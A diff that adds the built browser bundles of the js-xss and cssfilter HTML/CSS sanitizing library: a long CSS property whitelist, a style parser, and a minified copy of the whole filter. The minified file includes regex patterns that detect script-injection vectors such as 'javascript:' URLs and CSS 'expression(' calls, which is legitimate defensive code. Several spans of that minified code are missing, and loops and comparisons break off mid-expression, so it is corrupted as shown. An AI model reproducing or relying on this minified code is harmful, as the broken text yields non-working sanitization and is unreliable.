whiteList['clear'] = true; // default: none + whiteList['clip'] = false; // default: auto + whiteList['clip-path'] = false; // default: none + whiteList['clip-rule'] = false; // default: nonzero + whiteList['color'] = true; // default: implementation dependent + whiteList['color-interpolation-filters'] = true; // default: auto + whiteList['column-count'] = false; // default: auto + whiteList['column-fill'] = false; // default: balance + whiteList['column-gap'] = false; // default: normal + whiteList['column-rule'] = false; // default: depending on individual properties + whiteList['column-rule-color'] = false; // default: current color + whiteList['column-rule-style'] = false; // default: medium + whiteList['column-rule-width'] = false; // default: medium + whiteList['column-span'] = false; // default: none + whiteList['column-width'] = false; // default: auto + whiteList['columns'] = false; // default: depending on individual properties + whiteList['contain'] = false; // default: none + whiteList['content'] = false; // default: normal + whiteList['counter-increment'] = false; // default: none + whiteList['counter-reset'] = false; // default: none + whiteList['counter-set'] = false; // default: none + whiteList['crop'] = false; // default: auto + whiteList['cue'] = false; // default: depending on individual properties + whiteList['cue-after'] = false; // default: none + whiteList['cue-before'] = false; // default: none + whiteList['cursor'] = false; // default: auto + whiteList['direction'] = false; // default: ltr + whiteList['display'] = true; // default: depending on individual properties + whiteList['display-inside'] = true; // default: auto + whiteList['display-list'] = true; // default: none + whiteList['display-outside'] = true; // default: inline-level + whiteList['dominant-baseline'] = false; // default: auto + whiteList['elevation'] = false; // default: level + whiteList['empty-cells'] = false; // default: show + whiteList['filter'] = false; // default: none + whiteList['flex'] = false; // default: depending on individual properties + whiteList['flex-basis'] = false; // default: auto + whiteList['flex-direction'] = false; // default: row + whiteList['flex-flow'] = false; // default: depending on individual properties + whiteList['flex-grow'] = false; // default: 0 + whiteList['flex-shrink'] = false; // default: 1 + whiteList['flex-wrap'] = false; // default: nowrap + whiteList['float'] = false; // default: none + whiteList['float-offset'] = false; // default: 0 0 + whiteList['flood-color'] = false; // default: black + whiteList['flood-opacity'] = false; // default: 1 + whiteList['flow-from'] = false; // default: none + whiteList['flow-into'] = false; // default: none + whiteList['font'] = true; // default: depending on individual properties + whiteList['font-family'] = true; // default: implementation dependent + whiteList['font-feature-settings'] = true; // default: normal + whiteList['font-kerning'] = true; // default: auto + whiteList['font-language-override'] = true; // default: normal + whiteList['font-size'] = true; // default: medium + whiteList['font-size-adjust'] = true; // default: none + whiteList['font-stretch'] = true; // default: normal + whiteList['font-style'] = true; // default: normal + whiteList['font-synthesis'] = true; // default: weight style + whiteList['font-variant'] = true; // default: normal + whiteList['font-variant-alternates'] = true; // default: normal + whiteList['font-variant-caps'] = true; // default: normal + whiteList['font-variant-east-asian'] = true; // default: normal + whiteList['font-variant-ligatures'] = true; // default: normal + whiteList['font-variant-numeric'] = true; // default: normal + whiteList['font-variant-position'] = true; // default: normal + whiteList['font-weight'] = true; // default: normal + whiteList['grid'] = false; // default: depending on individual properties + whiteList['grid-area'] = false; // default: depending on individual properties + whiteList['grid-auto-columns'] = false; // default: auto + whiteList['grid-auto-flow'] = false; // default: none + whiteList['grid-auto-rows'] = false; // default: auto + whiteList['grid-column'] = false; // default: depending on individual properties + whiteList['grid-column-end'] = false; // default: auto + whiteList['grid-column-start'] = false; // default: auto + whiteList['grid-row'] = false; // default: depending on individual properties + whiteList['grid-row-end'] = false; // default: auto + whiteList['grid-row-start'] = false; // default: auto + whiteList['grid-template'] = false; // default: depending on individual properties + whiteList['grid-template-areas'] = false; // default: none + whiteList['grid-template-columns'] = false; // default: none + whiteList['grid-template-rows'] = false; // default: none + whiteList['hanging-punctuation'] = false; // default: none + whiteList['height'] = true; // default: auto + whiteList['hyphens'] = false; // default: manual + whiteList['icon'] = false; // default: auto + whiteList['image-orientation'] = false; // default: auto + whiteList['image-resolution'] = false; // default: normal + whiteList['ime-mode'] = false; // default: auto + whiteList['initial-letters'] = false; // default: normal + whiteList['inline-box-align'] = false; // default: last + whiteList['justify-content'] = false; // default: auto + whiteList['justify-items'] = false; // default: auto + whiteList['justify-self'] = false; // default: auto + whiteList['left'] = false; // default: auto + whiteList['letter-spacing'] = true; // default: normal + whiteList['lighting-color'] = true; // default: white + whiteList['line-box-contain'] = false; // default: block inline replaced + whiteList['line-break'] = false; // default: auto + whiteList['line-grid'] = false; // default: match-parent + whiteList['line-height'] = false; // default: normal + whiteList['line-snap'] = false; // default: none + whiteList['line-stacking'] = false; // default: depending on individual properties + whiteList['line-stacking-ruby'] = false; // default: exclude-ruby + whiteList['line-stacking-shift'] = false; // default: consider-shifts + whiteList['line-stacking-strategy'] = false; // default: inline-line-height + whiteList['list-style'] = true; // default: depending on individual properties + whiteList['list-style-image'] = true; // default: none + whiteList['list-style-position'] = true; // default: outside + whiteList['list-style-type'] = true; // default: disc + whiteList['margin'] = true; // default: depending on individual properties + whiteList['margin-bottom'] = true; // default: 0 + whiteList['margin-left'] = true; // default: 0 + whiteList['margin-right'] = true; // default: 0 + whiteList['margin-top'] = true; // default: 0 + whiteList['marker-offset'] = false; // default: auto + whiteList['marker-side'] = false; // default: list-item + whiteList['marks'] = false; // default: none + whiteList['mask'] = false; // default: border-box + whiteList['mask-box'] = false; // default: see individual properties + whiteList['mask-box-outset'] = false; // default: 0 + whiteList['mask-box-repeat'] = false; // default: stretch + whiteList['mask-box-slice'] = false; // default: 0 fill + whiteList['mask-box-source'] = false; // default: none + whiteList['mask-box-width'] = false; // default: auto + whiteList['mask-clip'] = false; // default: border-box + whiteList['mask-image'] = false; // default: none + whiteList['mask-origin'] = false; // default: border-box + whiteList['mask-position'] = false; // default: center + whiteList['mask-repeat'] = false; // default: no-repeat + whiteList['mask-size'] = false; // default: border-box + whiteList['mask-source-type'] = false; // default: auto + whiteList['mask-type'] = false; // default: luminance + whiteList['max-height'] = true; // default: none + whiteList['max-lines'] = false; // default: none + whiteList['max-width'] = true; // default: none + whiteList['min-height'] = true; // default: 0 + whiteList['min-width'] = true; // default: 0 + whiteList['move-to'] = false; // default: normal + whiteList['nav-down'] = false; // default: auto + whiteList['nav-index'] = false; // default: auto + whiteList['nav-left'] = false; // default: auto + whiteList['nav-right'] = false; // default: auto + whiteList['nav-up'] = false; // default: auto + whiteList['object-fit'] = false; // default: fill + whiteList['object-position'] = false; // default: 50% 50% + whiteList['opacity'] = false; // default: 1 + whiteList['order'] = false; // default: 0 + whiteList['orphans'] = false; // default: 2 + whiteList['outline'] = false; // default: depending on individual properties + whiteList['outline-color'] = false; // default: invert + whiteList['outline-offset'] = false; // default: 0 + whiteList['outline-style'] = false; // default: none + whiteList['outline-width'] = false; // default: medium + whiteList['overflow'] = false; // default: depending on individual properties + whiteList['overflow-wrap'] = false; // default: normal + whiteList['overflow-x'] = false; // default: visible + whiteList['overflow-y'] = false; // default: visible + whiteList['padding'] = true; // default: depending on individual properties + whiteList['padding-bottom'] = true; // default: 0 + whiteList['padding-left'] = true; // default: 0 + whiteList['padding-right'] = true; // default: 0 + whiteList['padding-top'] = true; // default: 0 + whiteList['page'] = false; // default: auto + whiteList['page-break-after'] = false; // default: auto + whiteList['page-break-before'] = false; // default: auto + whiteList['page-break-inside'] = false; // default: auto + whiteList['page-policy'] = false; // default: start + whiteList['pause'] = false; // default: implementation dependent + whiteList['pause-after'] = false; // default: implementation dependent + whiteList['pause-before'] = false; // default: implementation dependent + whiteList['perspective'] = false; // default: none + whiteList['perspective-origin'] = false; // default: 50% 50% + whiteList['pitch'] = false; // default: medium + whiteList['pitch-range'] = false; // default: 50 + whiteList['play-during'] = false; // default: auto + whiteList['position'] = false; // default: static + whiteList['presentation-level'] = false; // default: 0 + whiteList['quotes'] = false; // default: text + whiteList['region-fragment'] = false; // default: auto + whiteList['resize'] = false; // default: none + whiteList['rest'] = false; // default: depending on individual properties + whiteList['rest-after'] = false; // default: none + whiteList['rest-before'] = false; // default: none + whiteList['richness'] = false; // default: 50 + whiteList['right'] = false; // default: auto + whiteList['rotation'] = false; // default: 0 + whiteList['rotation-point'] = false; // default: 50% 50% + whiteList['ruby-align'] = false; // default: auto + whiteList['ruby-merge'] = false; // default: separate + whiteList['ruby-position'] = false; // default: before + whiteList['shape-image-threshold'] = false; // default: 0.0 + whiteList['shape-outside'] = false; // default: none + whiteList['shape-margin'] = false; // default: 0 + whiteList['size'] = false; // default: auto + whiteList['speak'] = false; // default: auto + whiteList['speak-as'] = false; // default: normal + whiteList['speak-header'] = false; // default: once + whiteList['speak-numeral'] = false; // default: continuous + whiteList['speak-punctuation'] = false; // default: none + whiteList['speech-rate'] = false; // default: medium + whiteList['stress'] = false; // default: 50 + whiteList['string-set'] = false; // default: none + whiteList['tab-size'] = false; // default: 8 + whiteList['table-layout'] = false; // default: auto + whiteList['text-align'] = true; // default: start + whiteList['text-align-last'] = true; // default: auto + whiteList['text-combine-upright'] = true; // default: none + whiteList['text-decoration'] = true; // default: none + whiteList['text-decoration-color'] = true; // default: currentColor + whiteList['text-decoration-line'] = true; // default: none + whiteList['text-decoration-skip'] = true; // default: objects + whiteList['text-decoration-style'] = true; // default: solid + whiteList['text-emphasis'] = true; // default: depending on individual properties + whiteList['text-emphasis-color'] = true; // default: currentColor + whiteList['text-emphasis-position'] = true; // default: over right + whiteList['text-emphasis-style'] = true; // default: none + whiteList['text-height'] = true; // default: auto + whiteList['text-indent'] = true; // default: 0 + whiteList['text-justify'] = true; // default: auto + whiteList['text-orientation'] = true; // default: mixed + whiteList['text-overflow'] = true; // default: clip + whiteList['text-shadow'] = true; // default: none + whiteList['text-space-collapse'] = true; // default: collapse + whiteList['text-transform'] = true; // default: none + whiteList['text-underline-position'] = true; // default: auto + whiteList['text-wrap'] = true; // default: normal + whiteList['top'] = false; // default: auto + whiteList['transform'] = false; // default: none + whiteList['transform-origin'] = false; // default: 50% 50% 0 + whiteList['transform-style'] = false; // default: flat + whiteList['transition'] = false; // default: depending on individual properties + whiteList['transition-delay'] = false; // default: 0s + whiteList['transition-duration'] = false; // default: 0s + whiteList['transition-property'] = false; // default: all + whiteList['transition-timing-function'] = false; // default: ease + whiteList['unicode-bidi'] = false; // default: normal + whiteList['vertical-align'] = false; // default: baseline + whiteList['visibility'] = false; // default: visible + whiteList['voice-balance'] = false; // default: center + whiteList['voice-duration'] = false; // default: auto + whiteList['voice-family'] = false; // default: implementation dependent + whiteList['voice-pitch'] = false; // default: medium + whiteList['voice-range'] = false; // default: medium + whiteList['voice-rate'] = false; // default: normal + whiteList['voice-stress'] = false; // default: normal + whiteList['voice-volume'] = false; // default: medium + whiteList['volume'] = false; // default: medium + whiteList['white-space'] = false; // default: normal + whiteList['widows'] = false; // default: 2 + whiteList['width'] = true; // default: auto + whiteList['will-change'] = false; // default: auto + whiteList['word-break'] = true; // default: normal + whiteList['word-spacing'] = true; // default: normal + whiteList['word-wrap'] = true; // default: normal + whiteList['wrap-flow'] = false; // default: auto + whiteList['wrap-through'] = false; // default: wrap + whiteList['writing-mode'] = false; // default: horizontal-tb + whiteList['z-index'] = false; // default: auto + + return whiteList; +} + + +/** + * 匹配到白名单上的一个属性时 + * + * @param {String} name + * @param {String} value + * @param {Object} options + * @return {String} + */ +function onAttr (name, value, options) { + // do nothing +} + +/** + * 匹配到不在白名单上的一个属性时 + * + * @param {String} name + * @param {String} value + * @param {Object} options + * @return {String} + */ +function onIgnoreAttr (name, value, options) { + // do nothing +} + + +exports.whiteList = getDefaultWhiteList(); +exports.getDefaultWhiteList = getDefaultWhiteList; +exports.onAttr = onAttr; +exports.onIgnoreAttr = onIgnoreAttr; + +},{}],8:[function(require,module,exports){ +/** + * cssfilter + * + * @author 老雷 + */ + +var DEFAULT = require('./default'); +var FilterCSS = require('./css'); + + +/** + * XSS过滤 + * + * @param {String} css 要过滤的CSS代码 + * @param {Object} options 选项:whiteList, onAttr, onIgnoreAttr + * @return {String} + */ +function filterCSS (html, options) { + var xss = new FilterCSS(options); + return xss.process(html); +} + + +// 输出 +exports = module.exports = filterCSS; +exports.FilterCSS = FilterCSS; +for (var i in DEFAULT) exports[i] = DEFAULT[i]; + +// 在浏览器端使用 +if (typeof window !== 'undefined') { + window.filterCSS = module.exports; +} + +},{"./css":6,"./default":7}],9:[function(require,module,exports){ +/** + * cssfilter + * + * @author 老雷 + */ + +var _ = require('./util'); + + +/** + * 解析style + * + * @param {String} css + * @param {Function} onAttr 处理属性的函数 + * 参数格式: function (sourcePosition, position, name, value, source) + * @return {String} + */ +function parseStyle (css, onAttr) { + css = _.trimRight(css); + if (css[css.length - 1] !== ';') css += ';'; + var cssLength = css.length; + var isParenthesisOpen = false; + var lastPos = 0; + var i = 0; + var retCSS = ''; + + function addNewAttr () { + // 如果没有正常的闭合圆括号,则直接忽略当前属性 + if (!isParenthesisOpen) { + var source = _.trim(css.slice(lastPos, i)); + var j = source.indexOf(':'); + if (j !== -1) { + var name = _.trim(source.slice(0, j)); + var value = _.trim(source.slice(j + 1)); + // 必须有属性名称 + if (name) { + var ret = onAttr(lastPos, retCSS.length, name, value, source); + if (ret) retCSS += ret + '; '; + } + } + } + lastPos = i + 1; + } + + for (; i < cssLength; i++) { + var c = css[i]; + if (c === '/' && css[i + 1] === '*') { + // 备注开始 + var j = css.indexOf('*/', i + 2); + // 如果没有正常的备注结束,则后面的部分全部跳过 + if (j === -1) break; + // 直接将当前位置调到备注结尾,并且初始化状态 + i = j + 1; + lastPos = i + 1; + isParenthesisOpen = false; + } else if (c === '(') { + isParenthesisOpen = true; + } else if (c === ')') { + isParenthesisOpen = false; + } else if (c === ';') { + if (isParenthesisOpen) { + // 在圆括号里面,忽略 + } else { + addNewAttr(); + } + } else if (c === '\n') { + addNewAttr(); + } + } + + return _.trim(retCSS); +} + +module.exports = parseStyle; + +},{"./util":10}],10:[function(require,module,exports){ +module.exports = { + indexOf: function (arr, item) { + var i, j; + if (Array.prototype.indexOf) { + return arr.indexOf(item); + } + for (i = 0, j = arr.length; i < j; i++) { + if (arr[i] === item) { + return i; + } + } + return -1; + }, + forEach: function (arr, fn, scope) { + var i, j; + if (Array.prototype.forEach) { + return arr.forEach(fn, scope); + } + for (i = 0, j = arr.length; i < j; i++) { + fn.call(scope, arr[i], i, arr); + } + }, + trim: function (str) { + if (String.prototype.trim) { + return str.trim(); + } + return str.replace(/(^\s*)|(\s*$)/g, ''); + }, + trimRight: function (str) { + if (String.prototype.trimRight) { + return str.trimRight(); + } + return str.replace(/(\s*$)/g, ''); + } +}; + +},{}]},{},[2]); diff --git a/dist/xss.min.js b/dist/xss.min.js new file mode 100644 index 0000000..0897026 --- /dev/null +++ b/dist/xss.min.js @@ -0,0 +1 @@ +(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o/g;var REGEXP_QUOTE=/"/g;var REGEXP_QUOTE_2=/"/g;var REGEXP_ATTR_VALUE_1=/&#([a-zA-Z0-9]*);?/gim;var REGEXP_ATTR_VALUE_COLON=/:?/gim;var REGEXP_ATTR_VALUE_NEWLINE=/&newline;?/gim;var REGEXP_DEFAULT_ON_TAG_ATTR_3=/\/\*|\*\//gm;var REGEXP_DEFAULT_ON_TAG_ATTR_4=/((j\s*a\s*v\s*a|v\s*b|l\s*i\s*v\s*e)\s*s\s*c\s*r\s*i\s*p\s*t\s*|m\s*o\s*c\s*h\s*a)\:/gi;var REGEXP_DEFAULT_ON_TAG_ATTR_5=/^[\s"'`]*(d\s*a\s*t\s*a\s*)\:/gi;var REGEXP_DEFAULT_ON_TAG_ATTR_6=/^[\s"'`]*(d\s*a\s*t\s*a\s*)\:\s*image\//gi;var REGEXP_DEFAULT_ON_TAG_ATTR_7=/e\s*x\s*p\s*r\s*e\s*s\s*s\s*i\s*o\s*n\s*\(.*/gi;var REGEXP_DEFAULT_ON_TAG_ATTR_8=/u\s*r\s*l\s*\(.*/gi;function escapeQuote(str){return str.replace(REGEXP_QUOTE,""")}function unescapeQuote(str){return str.replace(REGEXP_QUOTE_2,'"')}function escapeHtmlEntities(str){return str.replace(REGEXP_ATTR_VALUE_1,function replaceUnicode(str,code){return code[0]==="x"||code[0]==="X"?String.fromCharCode(parseInt(code.substr(1),16)):String.fromCharCode(parseInt(code,10))})}function escapeDangerHtml5Entities(str){return str.replace(REGEXP_ATTR_VALUE_COLON,":").replace(REGEXP_ATTR_VALUE_NEWLINE," ")}function clearNonPrintableCharacter(str){var str2="";for(var i=0,len=str.length;i/g;function stripBlankChar(html){var chars=html.split("");chars=chars.filter(function(char){var c=char.charCodeAt(0);if(c===127)return false;if(c<=31){if(c===10||c===13)return true;return false}return true});return chars.join("")}exports.whiteList=getDefaultWhiteList();exports.getDefaultWhiteList=getDefaultWhiteList;exports.onTag=onTag;exports.onIgnoreTag=onIgnoreTag;exports.onTagAttr=onTagAttr;exports.onIgnoreTagAttr=onIgnoreTagAttr;exports.safeAttrValue=safeAttrValue;exports.escapeHtml=escapeHtml;exports.escapeQuote=escapeQuote;exports.unescapeQuote=unescapeQuote;exports.escapeHtmlEntities=escapeHtmlEntities;exports.escapeDangerHtml5Entities=escapeDangerHtml5Entities;exports.clearNonPrintableCharacter=clearNonPrintableCharacter;exports.friendlyAttrValue=friendlyAttrValue;exports.escapeAttrValue=escapeAttrValue;exports.onIgnoreTagStripAll=onIgnoreTagStripAll;exports.StripTagBody=StripTagBody;exports.stripCommentTag=stripCommentTag;exports.stripBlankChar=stripBlankChar;exports.cssFilter=defaultCSSFilter;exports.getDefaultCSSWhiteList=getDefaultCSSWhiteList},{"./util":4,cssfilter:8}],2:[function(require,module,exports){var DEFAULT=require("./default");var parser=require("./parser");var FilterXSS=require("./xss");function filterXSS(html,options){var xss=new FilterXSS(options);return xss.process(html)}exports=module.exports=filterXSS;exports.FilterXSS=FilterXSS;for(var i in DEFAULT)exports[i]=DEFAULT[i];for(var i in parser)exports[i]=parser[i];if(typeof window!=="undefined"){window.filterXSS=module.exports}},{"./default":1,"./parser":3,"./xss":5}],3:[function(require,module,exports){var _=require("./util");function getTagName(html){var i=html.indexOf(" ");if(i===-1){var tagName=html.slice(1,-1)}else{var tagName=html.slice(1,i+1)}tagName=_.trim(tagName).toLowerCase();if(tagName.slice(0,1)==="/")tagName=tagName.slice(1);if(tagName.slice(-1)==="/")tagName=tagName.slice(0,-1);return tagName}function isClosing(html){return html.slice(0,2)===""){rethtml+=escapeHtml(html.slice(lastPos,tagStart));currentHtml=html.slice(tagStart,currentPos+1);currentTagName=getTagName(currentHtml);rethtml+=onTag(tagStart,rethtml.length,currentTagName,currentHtml,isClosing(currentHtml));lastPos=currentPos+1;tagStart=false;continue}if((c==='"'||c==="'")&&html.charAt(currentPos-1)==="="){quoteStart=c;continue}}else{if(c===quoteStart){quoteStart=false;continue}}}}if(lastPos0;i--){var c=str[i];if(c===" ")continue;if(c==="=")return i;return-1}}function isQuoteWrapString(text){if(text[0]==='"'&&text[text.length-1]==='"'||text[0]==="'"&&text[text.length-1]==="'"){return true}else{return false}}function stripQuoteWrap(text){if(isQuoteWrapString(text)){return text.substr(1,text.length-2)}else{return text}}exports.parseTag=parseTag;exports.parseAttr=parseAttr},{"./util":4}],4:[function(require,module,exports){module.exports={indexOf:function(arr,item){var i,j;if(Array.prototype.indexOf){return arr.indexOf(item)}for(i=0,j=arr.length;i"}var attrs=getAttrs(html);var whiteAttrList=whiteList[tag];var attrsHtml=parseAttr(attrs.html,function(name,value){var isWhiteAttr=_.indexOf(whiteAttrList,name)!==-1;var ret=onTagAttr(tag,name,value,isWhiteAttr);if(!isNull(ret))return ret;if(isWhiteAttr){value=safeAttrValue(tag,name,value,cssFilter);if(value){return name+'="'+value+'"'}else{return name}}else{var ret=onIgnoreTagAttr(tag,name,value,isWhiteAttr);if(!isNull(ret))return ret;return}});var html="<"+tag;if(attrsHtml)html+=" "+attrsHtml;if(attrs.closing)html+=" /";html+=">";return html}else{var ret=onIgnoreTag(tag,html,info);if(!isNull(ret))return ret;return escapeHtml(html)}},escapeHtml);if(stripIgnoreTagBody){retHtml=stripIgnoreTagBody.remove(retHtml)}return retHtml};module.exports=FilterXSS},{"./default":1,"./parser":3,"./util":4,cssfilter:8}],6:[function(require,module,exports){var DEFAULT=require("./default");var parseStyle=require("./parser");var _=require("./util");function isNull(obj){return obj===undefined||obj===null}function shallowCopyObject(obj){var ret={};for(var i in obj){ret[i]=obj[i]}return ret}function FilterCSS(options){options=shallowCopyObject(options||{});options.whiteList=options.whiteList||DEFAULT.whiteList;options.onAttr=options.onAttr||DEFAULT.onAttr;options.onIgnoreAttr=options.onIgnoreAttr||DEFAULT.onIgnoreAttr;this.options=options}FilterCSS.prototype.process=function(css){css=css||"";css=css.toString();if(!css)return"";var me=this;var options=me.options;var whiteList=options.whiteList;var onAttr=options.onAttr;var onIgnoreAttr=options.onIgnoreAttr;var retCSS=parseStyle(css,function(sourcePosition,position,name,value,source){var check=whiteList[name];var isWhite=false;if(check===true)isWhite=check;else if(typeof check==="function")isWhite=check(value);else if(check instanceof RegExp)isWhite=check.test(value);if(isWhite!==true)isWhite=false;var opts={position:position,sourcePosition:sourcePosition,source:source,isWhite:isWhite};if(isWhite){var ret=onAttr(name,value,opts);if(isNull(ret)){return name+":"+value}else{return ret}}else{var ret=onIgnoreAttr(name,value,opts);if(!isNull(ret)){return ret}}});return retCSS};module.exports=FilterCSS},{"./default":7,"./parser":9,"./util":10}],7:[function(require,module,exports){function getDefaultWhiteList(){var whiteList={};whiteList["align-content"]=false;whiteList["align-items"]=false;whiteList["align-self"]=false;whiteList["alignment-adjust"]=false;whiteList["alignment-baseline"]=false;whiteList["all"]=false;whiteList["anchor-point"]=false;whiteList["animation"]=false;whiteList["animation-delay"]=false;whiteList["animation-direction"]=false;whiteList["animation-duration"]=false;whiteList["animation-fill-mode"]=false;whiteList["animation-iteration-count"]=false;whiteList["animation-name"]=false;whiteList["animation-play-state"]=false;whiteList["animation-timing-function"]=false;whiteList["azimuth"]=false;whiteList["backface-visibility"]=false;whiteList["background"]=true;whiteList["background-attachment"]=true;whiteList["background-clip"]=true;whiteList["background-color"]=true;whiteList["background-image"]=true;whiteList["background-origin"]=true;whiteList["background-position"]=true;whiteList["background-repeat"]=true;whiteList["background-size"]=true;whiteList["baseline-shift"]=false;whiteList["binding"]=false;whiteList["bleed"]=false;whiteList["bookmark-label"]=false;whiteList["bookmark-level"]=false;whiteList["bookmark-state"]=false;whiteList["border"]=true;whiteList["border-bottom"]=true;whiteList["border-bottom-color"]=true;whiteList["border-bottom-left-radius"]=true;whiteList["border-bottom-right-radius"]=true;whiteList["border-bottom-style"]=true;whiteList["border-bottom-width"]=true;whiteList["border-collapse"]=true;whiteList["border-color"]=true;whiteList["border-image"]=true;whiteList["border-image-outset"]=true;whiteList["border-image-repeat"]=true;whiteList["border-image-slice"]=true;whiteList["border-image-source"]=true;whiteList["border-image-width"]=true;whiteList["border-left"]=true;whiteList["border-left-color"]=true;whiteList["border-left-style"]=true;whiteList["border-left-width"]=true;whiteList["border-radius"]=true;whiteList["border-right"]=true;whiteList["border-right-color"]=true;whiteList["border-right-style"]=true;whiteList["border-right-width"]=true;whiteList["border-spacing"]=true;whiteList["border-style"]=true;whiteList["border-top"]=true;whiteList["border-top-color"]=true;whiteList["border-top-left-radius"]=true;whiteList["border-top-right-radius"]=true;whiteList["border-top-style"]=true;whiteList["border-top-width"]=true;whiteList["border-width"]=true;whiteList["bottom"]=false;whiteList["box-decoration-break"]=true;whiteList["box-shadow"]=true;whiteList["box-sizing"]=true;whiteList["box-snap"]=true;whiteList["box-suppress"]=true;whiteList["break-after"]=true;whiteList["break-before"]=true;whiteList["break-inside"]=true;whiteList["caption-side"]=false;whiteList["chains"]=false;whiteList["clear"]=true;whiteList["clip"]=false;whiteList["clip-path"]=false;whiteList["clip-rule"]=false;whiteList["color"]=true;whiteList["color-interpolation-filters"]=true;whiteList["column-count"]=false;whiteList["column-fill"]=false;whiteList["column-gap"]=false;whiteList["column-rule"]=false;whiteList["column-rule-color"]=false;whiteList["column-rule-style"]=false;whiteList["column-rule-width"]=false;whiteList["column-span"]=false;whiteList["column-width"]=false;whiteList["columns"]=false;whiteList["contain"]=false;whiteList["content"]=false;whiteList["counter-increment"]=false;whiteList["counter-reset"]=false;whiteList["counter-set"]=false;whiteList["crop"]=false;whiteList["cue"]=false;whiteList["cue-after"]=false;whiteList["cue-before"]=false;whiteList["cursor"]=false;whiteList["direction"]=false;whiteList["display"]=true;whiteList["display-inside"]=true;whiteList["display-list"]=true;whiteList["display-outside"]=true;whiteList["dominant-baseline"]=false;whiteList["elevation"]=false;whiteList["empty-cells"]=false;whiteList["filter"]=false;whiteList["flex"]=false;whiteList["flex-basis"]=false;whiteList["flex-direction"]=false;whiteList["flex-flow"]=false;whiteList["flex-grow"]=false;whiteList["flex-shrink"]=false;whiteList["flex-wrap"]=false;whiteList["float"]=false;whiteList["float-offset"]=false;whiteList["flood-color"]=false;whiteList["flood-opacity"]=false;whiteList["flow-from"]=false;whiteList["flow-into"]=false;whiteList["font"]=true;whiteList["font-family"]=true;whiteList["font-feature-settings"]=true;whiteList["font-kerning"]=true;whiteList["font-language-override"]=true;whiteList["font-size"]=true;whiteList["font-size-adjust"]=true;whiteList["font-stretch"]=true;whiteList["font-style"]=true;whiteList["font-synthesis"]=true;whiteList["font-variant"]=true;whiteList["font-variant-alternates"]=true;whiteList["font-variant-caps"]=true;whiteList["font-variant-east-asian"]=true;whiteList["font-variant-ligatures"]=true;whiteList["font-variant-numeric"]=true;whiteList["font-variant-position"]=true;whiteList["font-weight"]=true;whiteList["grid"]=false;whiteList["grid-area"]=false;whiteList["grid-auto-columns"]=false;whiteList["grid-auto-flow"]=false;whiteList["grid-auto-rows"]=false;whiteList["grid-column"]=false;whiteList["grid-column-end"]=false;whiteList["grid-column-start"]=false;whiteList["grid-row"]=false;whiteList["grid-row-end"]=false;whiteList["grid-row-start"]=false;whiteList["grid-template"]=false;whiteList["grid-template-areas"]=false;whiteList["grid-template-columns"]=false;whiteList["grid-template-rows"]=false;whiteList["hanging-punctuation"]=false;whiteList["height"]=true;whiteList["hyphens"]=false;whiteList["icon"]=false;whiteList["image-orientation"]=false;whiteList["image-resolution"]=false;whiteList["ime-mode"]=false;whiteList["initial-letters"]=false;whiteList["inline-box-align"]=false;whiteList["justify-content"]=false;whiteList["justify-items"]=false;whiteList["justify-self"]=false;whiteList["left"]=false;whiteList["letter-spacing"]=true;whiteList["lighting-color"]=true;whiteList["line-box-contain"]=false;whiteList["line-break"]=false;whiteList["line-grid"]=false;whiteList["line-height"]=false;whiteList["line-snap"]=false;whiteList["line-stacking"]=false;whiteList["line-stacking-ruby"]=false;whiteList["line-stacking-shift"]=false;whiteList["line-stacking-strategy"]=false;whiteList["list-style"]=true;whiteList["list-style-image"]=true;whiteList["list-style-position"]=true;whiteList["list-style-type"]=true;whiteList["margin"]=true;whiteList["margin-bottom"]=true;whiteList["margin-left"]=true;whiteList["margin-right"]=true;whiteList["margin-top"]=true;whiteList["marker-offset"]=false;whiteList["marker-side"]=false;whiteList["marks"]=false;whiteList["mask"]=false;whiteList["mask-box"]=false;whiteList["mask-box-outset"]=false;whiteList["mask-box-repeat"]=false;whiteList["mask-box-slice"]=false;whiteList["mask-box-source"]=false;whiteList["mask-box-width"]=false;whiteList["mask-clip"]=false;whiteList["mask-image"]=false;whiteList["mask-origin"]=false;whiteList["mask-position"]=false;whiteList["mask-repeat"]=false;whiteList["mask-size"]=false;whiteList["mask-source-type"]=false;whiteList["mask-type"]=false;whiteList["max-height"]=true;whiteList["max-lines"]=false;whiteList["max-width"]=true;whiteList["min-height"]=true;whiteList["min-width"]=true;whiteList["move-to"]=false;whiteList["nav-down"]=false;whiteList["nav-index"]=false;whiteList["nav-left"]=false;whiteList["nav-right"]=false;whiteList["nav-up"]=false;whiteList["object-fit"]=false;whiteList["object-position"]=false;whiteList["opacity"]=false;whiteList["order"]=false;whiteList["orphans"]=false;whiteList["outline"]=false;whiteList["outline-color"]=false;whiteList["outline-offset"]=false;whiteList["outline-style"]=false;whiteList["outline-width"]=false;whiteList["overflow"]=false;whiteList["overflow-wrap"]=false;whiteList["overflow-x"]=false;whiteList["overflow-y"]=false;whiteList["padding"]=true;whiteList["padding-bottom"]=true;whiteList["padding-left"]=true;whiteList["padding-right"]=true;whiteList["padding-top"]=true;whiteList["page"]=false;whiteList["page-break-after"]=false;whiteList["page-break-before"]=false;whiteList["page-break-inside"]=false;whiteList["page-policy"]=false;whiteList["pause"]=false;whiteList["pause-after"]=false;whiteList["pause-before"]=false;whiteList["perspective"]=false;whiteList["perspective-origin"]=false;whiteList["pitch"]=false;whiteList["pitch-range"]=false;whiteList["play-during"]=false;whiteList["position"]=false;whiteList["presentation-level"]=false;whiteList["quotes"]=false;whiteList["region-fragment"]=false;whiteList["resize"]=false;whiteList["rest"]=false;whiteList["rest-after"]=false;whiteList["rest-before"]=false;whiteList["richness"]=false;whiteList["right"]=false;whiteList["rotation"]=false;whiteList["rotation-point"]=false;whiteList["ruby-align"]=false;whiteList["ruby-merge"]=false;whiteList["ruby-position"]=false;whiteList["shape-image-threshold"]=false;whiteList["shape-outside"]=false;whiteList["shape-margin"]=false;whiteList["size"]=false;whiteList["speak"]=false;whiteList["speak-as"]=false;whiteList["speak-header"]=false;whiteList["speak-numeral"]=false;whiteList["speak-punctuation"]=false;whiteList["speech-rate"]=false;whiteList["stress"]=false;whiteList["string-set"]=false;whiteList["tab-size"]=false;whiteList["table-layout"]=false;whiteList["text-align"]=true;whiteList["text-align-last"]=true;whiteList["text-combine-upright"]=true;whiteList["text-decoration"]=true;whiteList["text-deco